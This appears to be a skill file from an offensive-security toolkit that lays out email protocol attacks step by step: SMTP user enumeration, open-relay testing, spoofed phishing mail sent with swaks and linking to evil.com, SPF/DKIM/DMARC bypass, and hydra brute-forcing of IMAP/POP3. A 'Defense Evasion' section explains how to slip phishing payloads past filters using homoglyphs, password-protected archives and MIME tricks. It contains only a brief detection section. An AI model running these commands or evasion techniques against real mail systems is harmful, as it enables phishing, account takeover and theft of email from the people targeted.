email-protocol-attack

Skill: Email Protocol Attack

Supplementary Files:

• payloads.md — Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)
• test-cases.md — Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)
• guides/smtp-enumeration-relay-guide.md — SMTP reconnaissance and relay testing complete guide
• guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
• guides/imap-exchange-attack-guide.md — IMAP/POP3 and Exchange server attack guide

Summary

Email Protocol Attack skill domain covering network attack operations.

Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl

Domain: network-attack

MITRE ATT&CK: T1114-Email Collection

Description

Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.

Use Cases

1. Mail server reconnaissance — Enumerate valid email accounts via SMTP VRFY/EXPN/RCPT TO commands, fingerprint mail server software and version
2. Open relay detection — Test whether a mail server accepts unauthorized relay, enabling spam propagation or phishing delivery
3. Email forgery and phishing — Craft spoofed emails at the protocol level, test SPF/DKIM/DMARC bypass techniques for social engineering campaigns
4. Mailbox credential attacks — Brute force or password spray IMAP/POP3/Exchange credentials to access victim mailboxes
5. Exchange server exploitation — Leverage Autodiscover, OWA, ActiveSync, and Exchange-specific vulnerabilities for credential harvesting and remote code execution
6. TLS/STARTTLS testing — Assess mail server TLS configuration, test for downgrade attacks and certificate validation weaknesses
7. Email header manipulation — Modify email headers for sender spoofing, routing manipulation, and anti-spam bypass

Core Tools

Methodology

Attack Chain

Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration

1. Reconnaissance (Information Gathering)

• Identify mail server via DNS MX records: dig MX target.com
• Banner grabbing: nc mail.target.com 25
• Software fingerprinting with smtpmap
• TLS configuration assessment

2. Enumeration (User Discovery)

• SMTP VRFY command: verify individual accounts
• SMTP EXPN command: expand mailing lists
• RCPT TO enumeration: test recipient validity
• Automated enumeration with smtp-user-enum

3. Authentication Testing (Relay and Credential)

• Open relay testing: attempt to send through target server without authentication
• Credential brute force against IMAP/POP3
• Exchange Autodiscover and OWA probing
• Password spraying with common passwords

4. Forgery and Phishing (Email Protocol Attacks)

• SPF bypass: IP-based, header manipulation, include chain exploitation
• DKIM signature testing: selector enumeration, key length analysis
• DMARC policy testing: p=none exploitation, subdomain bypass
• Email header manipulation for sender spoofing

5. Mailbox Access (Post-Exploitation)

• IMAP/POP3 credential reuse from breached databases
• Exchange ActiveSync and EWS exploitation
• Email forwarding rule manipulation
• Email collection and data exfiltration

Defense Perspective

Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.

Step 1: Mail Server Reconnaissance

# Query MX records
dig MX target.com +short

# Banner grabbing
nc mail.target.com 25

# Fingerprint mail server
smtpmap mail.target.com

# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com

Step 2: User Enumeration

# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com

# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com

# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com

Step 3: Email Forgery Testing

# Basic spoofed email
swaks --to [email protected] --from [email protected] --server mail.target.com \
  --header "Subject: Urgent Account Verification" \
  --body "Please verify your account at http://evil.com/phish"

# Test SPF handling
swaks --to [email protected] --from [email protected] --server mail.target.com

# Test with custom headers
swaks --to [email protected] --from [email protected] \
  --add-header "X-Priority: 1" \
  --add-header "Reply-To: [email protected]"

Step 4: TLS Configuration Assessment

# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts

# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts

# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts

# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject

Step 5: IMAP/POP3 Credential Testing

# IMAP login test with mutt
mutt -f imaps://testuser:[email protected]/INBOX

# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap

# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3

Detection Methods

Email Gateway Indicators

• SPF/DKIM/DMARC failures: Authentication failure rate >5% of inbound (potential spoofing campaign).
• Homoglyph domains: Cyrillic аpple.com vs Latin apple.com; Unicode normalization detection.
• Reply-To mismatch: From: [email protected] but Reply-To: [email protected].

SIEM Detection Rules

• Splunk SPL: index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domain
• Microsoft 365 ATP: Native anti-phishing policies.
• Proofpoint / Mimecast: Email security gateway with BEC detection.

Defense Evasion Techniques

Authentication Bypass

• Compromise legitimate relay: Use Mailchimp, SendGrid, M365 tenant for reputation.
• Display name abuse: From: "CEO Name" [email protected] - mobile hides email.
• Unicode homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061).

Content Stealth

• Steganography in attachments: Hide payload in image LSB.
• Password-protected archive: Password in email body; evades AV signature scanning.
• Multipart MIME abuse: Hide payload in MIME structure; some scanners inspect only first part.

Hacker Laws

1. Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.

2. First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.

3. Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.

4. Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.

Learning Resources

Skill supplementary files:

• payloads.md — Complete payload collection (9 attack categories, ready to copy and use)
• test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)
• guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guide
• guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
• guides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guide

Related Skills:

• skills/network-pentest/SKILL.md — Network penetration testing foundation
• skills/social-engineering/SKILL.md — Social engineering and phishing campaigns
• skills/password-attack/SKILL.md — Password attack techniques for credential testing
• skills/recon-osint/SKILL.md — Open source intelligence for email harvesting

External Resources:

• RFC 5321 - SMTP Protocol
• RFC 7208 - SPF Protocol
• RFC 6376 - DKIM Signatures
• RFC 7489 - DMARC
• OWASP Email Security Testing
• HackTricks - Pentesting SMTP
• swaks Documentation